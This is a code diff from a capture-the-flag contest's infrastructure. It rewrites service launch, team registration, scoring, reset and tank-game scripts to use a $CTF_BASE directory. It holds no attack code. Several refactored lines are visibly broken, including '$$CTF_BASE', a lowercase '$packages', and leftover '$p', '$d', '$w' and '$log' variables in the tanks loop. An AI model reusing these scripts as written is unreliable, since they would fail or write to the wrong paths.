len = recvfrom(sock, buf, sizeof buf, 0, NULL, NULL);
switch (len) {
case -1:
perror("Reading packet");
return EX_IOERR;
case 1:
/* It's a score */
printf("%02x\n", buf[0]);
break;
case 4:
/* New game token */
printf("NEW GAME\n");
token = *((uint32_t *) buf);
break;
default:
/* You win: this is your CTF token */
buf[len] = 0;
printf("A WINNER IS YOU: %s\n", buf);
break;
}
}
}
return 0;
}

View File

@ -1,3 +1,3 @@
#! /bin/sh
exec /opt/fizzbuzz/bin/fizzbuzz 3</opt/fizzbuzz/token.enc
exec $CTF_BASE/packages/fizzbuzz/bin/fizzbuzz 3<$CTF_BASE/packages/fizzbuzz/token.enc

View File

@ -2,6 +2,6 @@
exec 2>&1
ln -sf /var/www default
exec tcpsvd -l localhost 0 80 /opt/inferno/bin/eris -d
cd $PACKAGES/www
exec tcpsvd -l localhost 0 80 $CTF_BASE/packages/inferno/bin/eris -d.

View File

@ -31,4 +31,4 @@ cat <<EOD >ngircd.conf
Password = $operpass
EOD
exec setuidgid irc /opt/ircd/bin/ngircd --config ./ngircd.conf --nodaemon
exec setuidgid irc $CTF_BASE/packages/ircd/bin/ngircd --config ./ngircd.conf --nodaemon

View File

@ -14,19 +14,21 @@ escape () {
# Don't overwrite files
set -C
base=${CTF_BASE:-/var/lib/ctf}
www=${CTF_BASE:-/var/www}
STATE=$CTF_BASE/state
WWW=$CTF_BASE/www
mkdir -p $base/teams/names
mkdir -p $base/teams/colors
mkdir -p $STATE/teams/names
mkdir -p $STATE/teams/colors
[ -f $base/teams/salt ] || dd if=/dev/urandom count=1 2>/dev/null | md5sum | cut -b 1-8 > $base/teams/salt
salt=$(cat $base/teams/salt)
if ! [ -f $STATE/teams/salt ]; then
dd if=/dev/urandom count=1 2>/dev/null | md5sum | cut -b 1-8 > $STATE/teams/salt
fi
salt=$(cat $STATE/teams/salt)
# Assign a color. I spent weeks selecting a color pallette that
# wouldn't be hell on people with protanopia. Please don't change these
# colors.
nteams=$(ls $base/teams/names/ | wc -l)
nteams=$(ls $STATE/teams/names/ | wc -l)
case $(expr $nteams % 10) in
0) color=a6cee3;;
1) color=1f78b4;;
@ -50,7 +52,7 @@ esac
# me since all team hashes are in the set /[0-9a-f]{8}/.
hash=$(printf "%s:%s" $salt "$1" | md5sum | cut -b 1-8)
echo "$1" > $base/teams/names/$hash
echo "$color" > $base/teams/colors/$hash
echo "$1" > $STATE/teams/names/$hash
echo "$color" > $STATE/teams/colors/$hash
echo "Registered with hash: $hash"

View File

@ -14,16 +14,14 @@ sv d pointsd
sv d puzzled
sv d tanksd
rm -f /var/lib/ctf/tokens.db
rm -f /var/lib/ctf/points.log
rm -f /var/www/scoreboard.html
rm -f /var/lib/ctf/puzzles.db
rm -rf /var/lib/ctf/points.new
rm -rf /var/lib/ctf/points.tmp
rm -rf /var/lib/ctf/tanks
rm -rf /var/lib/ctf/teams
backup-pass
rm -f $CTF_BASE/state/tokens.db
rm -f $CTF_BASE/state/points.log
rm -f $CTF_BASE/www/scoreboard.html
rm -f $CTF_BASE/state/puzzles.db
rm -rf $CTF_BASE/state/points.new
rm -rf $CTF_BASE/state/points.tmp
rm -rf $CTF_BASE/state/tanks
rm -rf $CTF_BASE/state/teams
sv u tokend
sv u pointsd

View File

@ -3,13 +3,15 @@
# First argument is seconds between running everything
period=${1:-60}
BIN=${CTF_BASE:-/opt/mcp}/bin
WWW=${CTF_BASE:-/var}/www
STATE=${CTF_BASE:-/var/lib/ctf}
packages=$CTF_BASE/packages
state=$CTF_BASE/state
www=$CTF_BASE/www
NEWPOINTS=$STATE/points.new
POINTS=$STATE/points.log
SCOREBOARD=$WWW/scoreboard.html
BIN=$packages/mcp/bin
NEWPOINTS=$state/points.new
POINTS=$state/points.log
SCOREBOARD=$www/scoreboard.html
if ! [ -f $SCOREBOARD ]; then
$BIN/scoreboard < $POINTS > $SCOREBOARD

View File

@ -65,9 +65,6 @@ function output( t, c) {
BEGIN {
base = ENVIRON["CTF_BASE"]
if (! base) {
base = "/var/lib/ctf"
}
# Only display two decimal places
CONVFMT = "%.2f"
@ -108,13 +105,13 @@ END {
for (team in teams) {
# Busybox awk segfaults if you try to close a file that didn't
# exist. We work around it by calling cat.
cmd = sprintf("cat %s/teams/colors/%s", base, team)
cmd = sprintf("cat %s/state/teams/colors/%s", base, team)
color = "444444";
cmd | getline color
colors_by_team[team] = color
close(cmd)
cmd = sprintf("cat %s/teams/names/%s", base, team)
cmd = sprintf("cat %s/state/teams/names/%s", base, team)
name = "Phantoms"
cmd | getline name
names_by_team[team] = name

View File

@ -1,38 +0,0 @@
#! /bin/sh
cd ${CTF_BASE:-/var/lib/ctf}/teams/names
escape () {
sed 's/&/\&amp;/g;s/</\&lt;/g;s/>/\&gt;/g'
}
title='Teams'
cat <<EOF
<!DOCTYPE html>
<html>
<head>
<title>$title</title>
<link rel="stylesheet" href="ctf.css" type="text/css">
</head>
<body>
<h1>$title</h1>
EOF
echo "<table>"
echo "<tr><th>Team</th><th>ID</th></tr>"
for i in *; do
echo "<tr><td>"
escape < $i
echo "</td><td><samp>$i</samp></td></tr>"
done
echo "</table>"
cat <<EOF
<p>
Team names are only used on this page and the scoreboard.
Use your team ID to claim points.
</p>
</body>
</html>
EOF

View File

@ -7,16 +7,15 @@ IP=$(dbip -a)
hostname mcp
# Link in puzzles and web pages
install -d /var/www
for d in /opt/*; do
w=/var/www/$(basename $d)
for d in /packages/*; do
w=$CTF_BASE/www/$(basename $d)
if [ -d $d/puzzles ] && ! [ -d $w ]; then
ln -sf $d/puzzles $w
fi
if [ -d $d/www ]; then
ln -sf $d/www/* /var/www/
ln -sf $d/www/* $CTF_BASE/www/
fi
done
cd /var/www
exec tcpsvd -u ctf ${IP%/*} 80 /opt/mcp/bin/eris -c.
exec tcpsvd -u ctf ${IP%/*} 80 $CTF_BASE/packages/mcp/bin/eris -c.

View File

@ -16,13 +16,13 @@ Content-type: text/html
<h1>Team Registration</h1>
EOF
if [ ! -w /var/www ] || [ ! -w /var/lib/ctf/teams ]; then
if [ ! -w $CTF_BASE/www ] || [ ! -w $CTF_BASE/state/teams ]; then
echo "<p>It looks like the server isn't set up for self-registrations."
echo "Go talk to someone at the head table to register your team.</p>"
else
echo "<p>Team name: $team</p>"
echo -n "<pre>"
if /opt/mcp/bin/addteam "$team"; then
if $CTF_BASE/mcp/bin/addteam "$team"; then
echo "</pre><p>Write this hash down. You will use it to claim points.</p>"
else
echo "Oops, something broke. Better call Neale.</pre>"

View File

@ -4,4 +4,4 @@ exec 2>&1
IP=$(dbip -a)
exec setuidgid ctf /opt/multicaster/bin/multicaster ff15::62c 1580 </opt/multicaster/tokens.txt
exec setuidgid ctf $CTF_BASE/packages/multicaster/bin/multicaster ff15::62c 1580 <$CTF_BASE/packages/multicaster/tokens.txt

View File

@ -6,4 +6,4 @@ IP=$(dbip -a)
grep -q ipv4 /proc/cmdline && IP=::ffff:$IP
exec /opt/octopus/bin/octopus ${IP%/*} < /opt/octopus/tokens.txt
exec $CTF_BASE/packages/octopus/bin/octopus ${IP%/*} < $CTF_BASE/packages/octopus/tokens.txt

View File

@ -1,7 +1,6 @@
#! /bin/sh
: ${CTF_BASE:=/var/lib/ctf}
BASE=$CTF_BASE/teams
BASE=$CTF_BASE/state/teams
esc () {
printf '%s' "$*" | sed 's/[^-0-9A-Za-z ]/_/g; s/ /+/g'
@ -105,7 +104,7 @@ EOD
;;
esac
match=$(awk -v ans="$answer" '(substr($0, length($1)+2) == ans) { print substr(FILENAME, 6, length(FILENAME)-17) " " $1; }' /opt/*/answers.txt)
match=$(awk -v ans="$answer" '(substr($0, length($1)+2) == ans) { print substr(FILENAME, 6, length(FILENAME)-17) " " $1; }' $CTF_BASE/packages/*/answers.txt)
if [ -z "$match" ]; then
echo 'That is not a correct answer. Type "help" for help.'
continue
@ -116,7 +115,7 @@ EOD
fn=$BASE/$hash/$cat.$points
if log $hash | grep -Fxq "$cat $points"; then
echo "You've already received points for this answer."
elif /opt/p2/bin/pointscli $hash $cat $points p2console; then
elif $CTF_BASE/packages/p2/bin/pointscli $hash $cat $points p2console; then
echo "You get $points more points in the $cat category."
else
echo "Error recording points. Tell the officials!"

View File

@ -6,17 +6,26 @@ IP=$(dbip -p ../p2console/ip.txt)
ip route add default via 10.0.0.1
if [ -z "$CTF_BASE" ] && ! grep -q " /www " /proc/mounts; then
mount -t tmpfs www /www
fi
# Link in puzzles and web pages
install -d /var/www
for d in /opt/*; do
w=/var/www/$(basename $d)
for d in $CTF_BASE/packages/*; do
w=$CTF_BASE/www/$(basename $d)
if [ -d $d/puzzles ] && ! [ -d $w ]; then
ln -sf $d/puzzles $w
fi
if [ -d $d/www ]; then
ln -sf $d/www/* /var/www/
ln -sf $d/www/* $CTF_BASE/www/
fi
done
cd /var/www
exec tcpsvd -u nobody ${IP%/*} 80 /opt/p2/bin/eris -c.
# news.html is persistent
if ! [ -f $CTF_BASE/state/news.html ]; then
cat $CTF_BASE/packages/p2/www/news.html > $CTF_BASE/state/news.html
fi
ln -sf $CTF_BASE/state/news.html $CTF_BASE/www
cd $CTF_BASE/www
exec tcpsvd -u nobody ${IP%/*} 80 $CTF_BASE/packages/p2/bin/eris -c.

View File

@ -1,51 +0,0 @@
<!DOCTYPE html>
<html>
<head>
<title>The Credits</title>
<link rel="stylesheet" href="ctf.css" type="text/css">
</head>
<body>
<h1>Credits</h1>
<p>Dirtbags Capture the Flag is brought to you by:</p>
<ul>
<li>The number C</li>
<li>The letters ع and ֆ</li>
</ul>
<p>And by:</p>
<ul>
<li>Alex Brugh</li>
<li>Paul Ferrell</li>
<li>Jeremy Scott</li>
<li>Danny Quist</li>
<li>Adam Glasgall</li>
<li>Curtis Hash</li>
<li>Aaron McPhall</li>
<li>Patrick Avery</li>
<li>Erin Ochoa</li>
<li>William Phillips</li>
<li>Should your name be here? Please remind me!</li>
</ul>
<p>Parts of this contest were inspired by:</p>
<ul>
<li>DC949</li>
<li>Tube Warriors</li>
<li>Bad people from around the world (screw you guys, seriously)</li>
</ul>
<p>Lastly, this contest would not exist were it not for hundreds of
thousands of lines of code from free software authors around the
world, including:</p>
<ul>
<li>Busybox and Buildroot</li>
<li>the Linux kernel</li>
<li>dnsmasq</li>
<li>fnord httpd</li>
<li>ngircd</li>
<li>lua</li>
</ul>
</body>
</html>

View File

@ -15,6 +15,9 @@
<li>
<a href="puzzles.html">Puzzles</a>
</li>
<li>
<a href="news.html">News</a> -- updated when things go wrong.
</li>
<li>
<a href="scoring.html">About scoring</a>
</li>
@ -33,10 +36,5 @@
When you have solved a puzzle, enter the answer at the console
to change your ranking on the <a href="scoreboard.html">scoreboard</a>.
</p>
<p>
This event would not be possible without the help of many people.
<a href="credits.html">Thank you, people</a>.
</p>
</body>
</html>

17
packages/p2/www/news.html Normal file
View File

@ -0,0 +1,17 @@
<!DOCTYPE html>
<html>
<head>
<title>News</title>
<link rel="stylesheet" href="ctf.css" type="text/css">
</head>
<body>
<h1>News</h1>
<p>Usually updated when something goes wrong.</p>
<ul>
<!-- Add new items at the top -->
<li>Event begins</li>
</ul>
</body>
</html>

View File

@ -10,7 +10,7 @@ if ! sv s tty1 | grep down; then
fi
# Cool font
setfont -C /dev/tty1 /opt/p2client/lite-16.fnt
setfont -C /dev/tty1 $CTF_BASE/packages/p2client/lite-16.fnt
if ! grep -q debug /proc/cmdline; then
@ -25,7 +25,7 @@ if ! grep -q debug /proc/cmdline; then
setterm -blank 0 -powersave off -powerdown 0
# Make this like a VT52; including disabling ctrl-alt-del
loadkmap < /opt/p2client/dumbterm.kmap
loadkmap < $CTF_BASE/packages/p2client/dumbterm.kmap
# Disable console logging
echo 1 4 1 4 > /proc/sys/kernel/printk

View File

@ -5,5 +5,5 @@ exec 2>&1
IP=$(dbip -a)
ip addr add $IP dev eth0 || true
exec tcpsvd -u nobody ${IP%/*} 1013 /opt/playfair/bin/playfair
exec tcpsvd -u nobody ${IP%/*} 1013 $CTF_BASE/packages/playfair/bin/playfair

View File

@ -1,3 +1,3 @@
#! /bin/sh
exec chpst -u 9001 -/ /opt/printf/bin ./printf 3</opt/printf/tokens.txt
exec chpst -u 9001 -/ $CTF_BASE/packages/printf/bin ./printf 3<$CTF_BASE/packages/printf/tokens.txt

View File

@ -1,3 +1,3 @@
#! /bin/sh
exec /opt/revwords/bin/revwords 3</opt/revwords/tokens.txt
exec $CTF_BASE/packages/revwords/bin/revwords 3<$CTF_BASE/packages/revwords/tokens.txt

View File

@ -1,16 +1,16 @@
#! /bin/sh
base=${CTF_BASE:-/var/lib/ctf}
STATE=$CTF_BASE/state
echo -n "Team password: "
echo -n "Team hash: "
read -r teamhash
if ! KEY='Too much cheese.' arc4 < $base/teams.txt | grep -q -F -e "$teamhash"; then
if ! [ -f $STATE/teams/names/"$teamhash" ]; then
echo 'No such team.'
exit
fi
cd $base/rlyeh
cd $STATE/rlyeh
if [ -f $teamhash ]; then
now=$(date +%s)
@ -35,7 +35,7 @@ read level < $teamhash
echo
if setuidgid nobody rlyeh $level; then
arc4 /opt/rlyeh/tokens/rlyeh/enc.key < $base/tokens/rlyeh
arc4 $CTF_BASE/packages/rlyeh/tokens/rlyeh/enc.key < $$CTF_BASE/state/rlyeh/tokens.txt
echo
expr $level + 1 > $teamhash
else

View File

@ -2,4 +2,4 @@
exec 2>&1
exec /opt/router/bin/radvd -C radvd.conf -d 1 -m stderr -p radvd.pid
exec $CTF_BASE/packages/router/bin/radvd -C radvd.conf -d 1 -m stderr -p radvd.pid

View File

@ -12,7 +12,7 @@ log () {
echo "router: $@" > /dev/console
}
if [ $(mount | grep -c /opt/) -gt 1 ]; then
if [ $(mount | grep -c /packages/) -gt 1 ]; then
log "cannot run alongside other packages" > /dev/console
exit 1
fi

View File

@ -1,4 +1,4 @@
#! /bin/sh
BASE_PATH=/var/lib/ctf/tanks/players/; export BASE_PATH
exec /opt/tanks/bin/designer.cgi
BASE_PATH=$CTF_BASE/state/tanks/players/; export BASE_PATH
exec $CTF_BASE/packages/tanks/bin/designer.cgi

View File

@ -0,0 +1,30 @@
<!DOCTYPE html>
<html>
<head>
<title>Tanks</title>
<meta http-equiv="refresh" content="60">
<link rel="stylesheet" href="style.css" type="text/css">
<style type="text/css">
html {
height: 99.5%;
}
body {
height: 100%;
width: 100%;
padding: 0;
margin: 0;
max-width: inherit;
}
iframe {
padding: 0;
margin: 0;
width: 100%;
height: 100%;
border: none;
}
</style>
</head>
<body>
<iframe src="current.html">
</body>
</html>

View File

@ -2,13 +2,14 @@
exec 2>&1
mkdir -p /var/www/tanks
ln -s /opt/tanks/html/* /var/www/tanks/ || true
ln -s summary.html /var/www/tanks/index.html || true
mkdir -p $CTF_BASE/state/tanks/players
mkdir -p $CTF_BASE/state/tanks/www
chown ctf $CTF_BASE/state/tanks
chown ctf $CTF_BASE/state/tanks/players
mkdir -p /var/lib/ctf/tanks/players
chown ctf /var/lib/ctf/tanks
chown ctf /var/lib/ctf/tanks/players
ln -s $CTF_BASE/state/tanks/www $CTF_BASE/www/tanks
ln -s $CTF_BASE/packages/tanks/html/* $CTF_BASE/state/tanks/www/ || true
ln -s summary.html $CTF_BASE/tanks/www/index.html || true
PATH=/bin:/opt/ctfbase/bin:/opt/tanks/bin; export PATH
PATH=/bin:$CTF_BASE/packages/tanks/bin; export PATH
exec ./tanksd

View File

@ -1,9 +1,15 @@
#! /bin/sh
d=/var/lib/ctf/tanks
p=$d/players
w=/var/www/tanks
log=$d/winners.log
PACKAGES=$CTF_BASE/packages
STATE=$CTF_BASE/state
WWW=$CTF_BASE/www
TSTATE=$STATE/tanks
TPLAYERS=$TSTATE/players
TLOG=$TSTATE/winners.log
TWWW=$TSTATE/www
[ "$1" = "--once" ] && once=1
summary () {
cat <<EOF
@ -21,7 +27,7 @@ summary () {
<ul>
EOF
printed=0
find $w -name "round-*.html" | sort -r | while read fn; do
find $TWWW -name "round-*.html" | sort -r | while read fn; do
b=$(basename $fn)
if [ $printed -lt 20 ]; then
echo "<li><a href=\"$b\">$b</a></li>"
@ -33,7 +39,7 @@ EOF
cat <<EOF
</ul>
EOF
cat /opt/tanks/html/nav.html.inc
cat $packages/tanks/html/nav.html.inc
cat <<EOF
</body>
</html>
@ -41,7 +47,7 @@ EOF
}
while true; do
find /var/lib/ctf/teams/names -type f | while read dn; do
find $STATE/teams/names -type f | while read dn; do
hash=${dn##*/}
install -o ctf -d $p/$hash
done
@ -54,14 +60,14 @@ while true; do
# Round number?
if [ -f $d/next-round ]; then
next=$(cat $d/next-round)
if [ -f $TSTATE/next-round ]; then
next=$(cat $TSTATE/next-round)
else
next=0
fi
expr $next + 1 > $d/next-round
expr $next + 1 > $TSTATE/next-round
fn=$(printf "%s/round-%04d.html" $w $next)
fn=$(printf "%s/round-%04d.html" $TWWW $next)
rfn=$(printf "/tmp/tanks-results-%04d.txt" $next)
tfn=$(printf "/tmp/tanks-token-%04d.txt" $next)
@ -79,7 +85,7 @@ while true; do
start("battlefield",
// Start JSON data
EOF
/opt/tanks/bin/forftanks $p/* >>$fn 3>$rfn
$PACKAGES/tanks/bin/forftanks $p/* >>$fn 3>$rfn
cat <<EOF >>$fn
// end JSON data
);
@ -92,27 +98,29 @@ window.onload = go;
<div id="game_box"><canvas id="battlefield"></canvas></div>
<p><span id="fps">0</span> fps</p>
EOF
awk -f /opt/tanks/bin/rank.awk $rfn >>$fn
cat /opt/tanks/html/nav.html.inc >>$fn
awk -f $PACKAGES/tanks/bin/rank.awk $rfn >>$fn
cat $PACKAGES/tanks/html/nav.html.inc >>$fn
cat <<EOF >>$fn
</body>
</html>
EOF
awk -f /opt/tanks/bin/winner.awk $rfn | while read winner; do
awk -f $PACKAGES/tanks/bin/winner.awk $rfn | while read winner; do
hash=$(basename $winner)
echo "Round $next winner: $hash" >> $log
nwinners=$(wc -l $log)
/opt/mcp/bin/pointscli $hash tanks 1 "tanks round $next"
$PACKAGES/mcp/bin/pointscli $hash tanks 1 "tanks round $next"
done
ln -sf $fn $w/current.html
ln -sf $fn $TWWW/current.html
summary > $w/summary.html.$$
mv -f $w/summary.html.$$ $w/summary.html
summary > $TWWW/summary.html.$$
mv -f $TWWW/summary.html.$$ $TWWW/summary.html
rm -f $tfn $rfn
[ -n "$once" ] && break
sleep 60
done